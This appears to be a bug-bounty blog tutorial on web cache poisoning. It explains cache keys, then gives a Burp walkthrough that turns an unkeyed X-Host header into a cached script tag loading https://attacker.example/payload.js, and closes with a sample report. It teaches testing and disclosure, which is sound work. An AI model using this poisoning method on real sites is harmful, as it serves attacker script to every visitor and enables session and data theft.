When people talk about caching, it usually sounds like a pure performance topic: "CDN", "TTLs", "faster load times". From a security mindset, caching is something more interesting:

A web cache is shared memory for responses. If you can put your data into that memory, other users may see your version instead of the real one.

That's the core idea behind web cache poisoning. One crafted request from you, many victims receive the poisoned response.

This blog explains caching in simple terms and then walks through a clean, realistic cache poisoning PoC you can adapt in Burp.

Part 1 — What a Web Cache Really Does

Forget the buzzwords for a moment. Imagine a CDN or reverse proxy sitting in front of a website.

Step 1 — First user visits

A user requests:

GET /home HTTP/1.1
Host: target.com

The cache in front of the site asks itself:

  • "Do I already have an answer for GET /home on target.com stored?"

If it's the first time:

  • It doesn't. This is a cache miss.
  • It forwards the request to the origin server.
  • The origin generates the HTML and responds with something like:
HTTP/1.1 200 OK
Cache-Control: public, max-age=300
Content-Type: text/html
...

Seeing public, max-age=300, the cache decides:

  • "I'm allowed to store this for 300 seconds."
  • It saves that response in memory under a certain key.

Step 2 — Next user's visit

Another user makes the same request:

GET /home HTTP/1.1
Host: target.com

Now the cache:

  • Looks up the key for GET /home on target.com.
  • Finds the stored response that is still fresh.
  • Returns it directly, without asking the origin again.

That's a cache hit. The user gets a fast response, and the origin server can rest.

This is all caching really is:

"If I've seen this before and my copy is fresh, I'll answer from memory."

Part 2 — The Cache Key: How It Decides "Same Request"

The cache key is how the cache decides if two requests are "the same" and should share the same stored response.

Simplified, the key often includes:

  • HTTP method (GET vs POST).
  • Host (e.g., target.com).
  • Path (e.g., /home).

Some setups also include:

  • Selected query parameters.
  • Selected headers (like Accept-Encoding).
  • Sometimes cookies or custom logic.

The key idea:

  • If two requests share the same key, the cache will serve the same stored response.
  • If something changes the response but is not part of the key, that's a potential poisoning vector.

Part 3 — Private vs Shared Caches

There are two main types you care about:

  • Browser cache (private)
  • Lives in the user's browser.
  • Only affects that one user.
  • Good for performance, usually less interesting for poisoning other people.
  • CDN / reverse proxy cache (shared)
  • Lives on servers between users and the origin.
  • One cached response can be served to thousands of users.
  • This is where web cache poisoning becomes powerful.

When people talk about cache poisoning in bug bounty, they usually mean shared caches like CDNs or edge proxies.

A content delivery network (CDN) is a network of interconnected servers that speeds up webpage loading for data-heavy applications.

Part 4 — What Is Web Cache Poisoning?

Now, combine everything you've read:

  • The cache stores responses.
  • The cache uses a key to decide which requests share a response.
  • Other users get that stored response.

A natural attacker thought is:

"Can I send one weird request that gets cached, so other users receive my weird version as if it were normal?"

That's web cache poisoning:

  • You craft a request that makes the server produce a modified response (for example, with your <script> or redirect).
  • The cache stores this response.
  • Normal users, who don't send your weird header or parameter, still get the poisoned version because the cache key ignores that difference.

Part 5 — A Simple Web Cache Poisoning PoC

Let's go through a concrete, easy‑to‑follow example you can test with Burp Suite.

Scenario

Assume:

  • The page /home is cached by a CDN or reverse proxy.
  • The application reflects a custom header called X-Host in the HTML.
  • The cache key does not include X-Host.

You will:

  1. Confirm /home is cached.
  2. Show that X-Host is reflected in the response.
  3. Prove the cache ignores X-Host (poison sticks for normal requests).
  4. Swap the reflection into a script URL for a full poisoning PoC.

Step 1 — Confirm /home is cached

In Burp:

  1. Send a normal request a few times:
  • GET /home HTTP/1.1 Host: target.com

2. Look at the response headers across multiple requests:

  • Cache-Control – Is it cacheable (e.g., public, max-age=300)?
  • Age – Does it start at 0 or absent, then increase (like 10, 20, 30)?
  • Any cache status headers (e.g., X-Cache: HIT/MISS, CF-Cache-Status: HIT).

If Age keeps increasing, and you see "HIT" for some status, you know /home is being served from cache.

Step 2 — Test if X-Host is reflected

In Burp Repeater:

  1. Send:
  • GET /home HTTP/1.1 Host: target.com X-Host: abcd-test

2. Check the response body for abcd-test.

If you see something like:

<script src="https://abcd-test/static/main.js"></script>

or any piece of HTML/JS containing abcd-testThe server is reflecting your header value into the response.

So, X-Host influences the output.

Step 3 — See if the cache key ignores X-Host

Now, test if the cache treats requests with and without X-Host as the same:

  1. First, send the poisoning candidate again:
  • GET /home HTTP/1.1 Host: target.com X-Host: abcd-test
  • Note that the response contains abcd-test and looks cacheable.

2. Then, send a clean request:

  • GET /home HTTP/1.1 Host: target.com

3. Check the clean response:

  • Does it still contain abcd-test in the HTML?
  • Do cache headers show a cache HIT and a non‑zero Age?

If yes, you have strong evidence that:

  • Your request X-Host: abcd-test poisoned the cached /home response.
  • The cache key was not includedX-Host, so normal requests now receive the poisoned version.

That's basic web cache poisoning.

Step 4 — Turn it into a more serious exploit

Instead of injecting a harmless marker, use X-Host to inject a malicious script URL:

Poisoning request

GET /home HTTP/1.1
Host: target.com
X-Host: attacker.example

If the app builds a script tag like:

<script src="https://attacker.example/payload.js"></script>

and this response is cached, then:

  • Every user visiting https://target.com/home during the cache lifetime will load payload.js from your domain.
  • If Content Security Policy (CSP) allows it, that script will execute in the context of target.com—letting you run JavaScript as if it were part of the site.

Verification request (what victims see)

GET /home HTTP/1.1
Host: target.com

If the response contains:

<script src="https://attacker.example/payload.js"></script>

And the cache headers show a HIT, you have a solid, end‑to‑end poisoning PoC.

How to Explain This in a Report ..

When reporting, don't just say "cache poisoning"; show the story:

Title

  • Web Cache Poisoning on /home via X-Host Header Allows Attacker‑Controlled Script Injection

Summary

The /home page is cached by the CDN. The server reflects the X-Host header into a <script> tag, but the cache key does not vary on X-Host. An attacker can send a single crafted request that poisons the cached response so that all subsequent visitors to /home receive a page loading attacker‑controlled JavaScript.

Steps to Reproduce

  1. Confirm /home is cached by observing increasing Age and cache HIT status.
  2. Send GET /home with X-Host: attacker.example and note the <script> tag referencing https://attacker.example/payload.js.
  3. Send a normal GET /home (no X-Host) and observe that the same script tag is present and the response is served from cache.

Impact

  • Any user visiting /home while the cache is poisoned will execute attacker‑controlled JavaScript.
  • This can lead to session theft, CSRF, data exfiltration, or complete UI compromise.

Final Thoughts

When you look at a cache only as a performance booster, it's easy to gloss over how it behaves. When you look at it as shared memory controlled by a key, things change:

  • You start asking what's stored.
  • You think about what the key includes and ignores.
  • You see how one strange request can shape what everyone else sees.

That mindset is the difference between just knowing that "CDNs exist" and being able to turn them into clean, impactful cache poisoning bugs.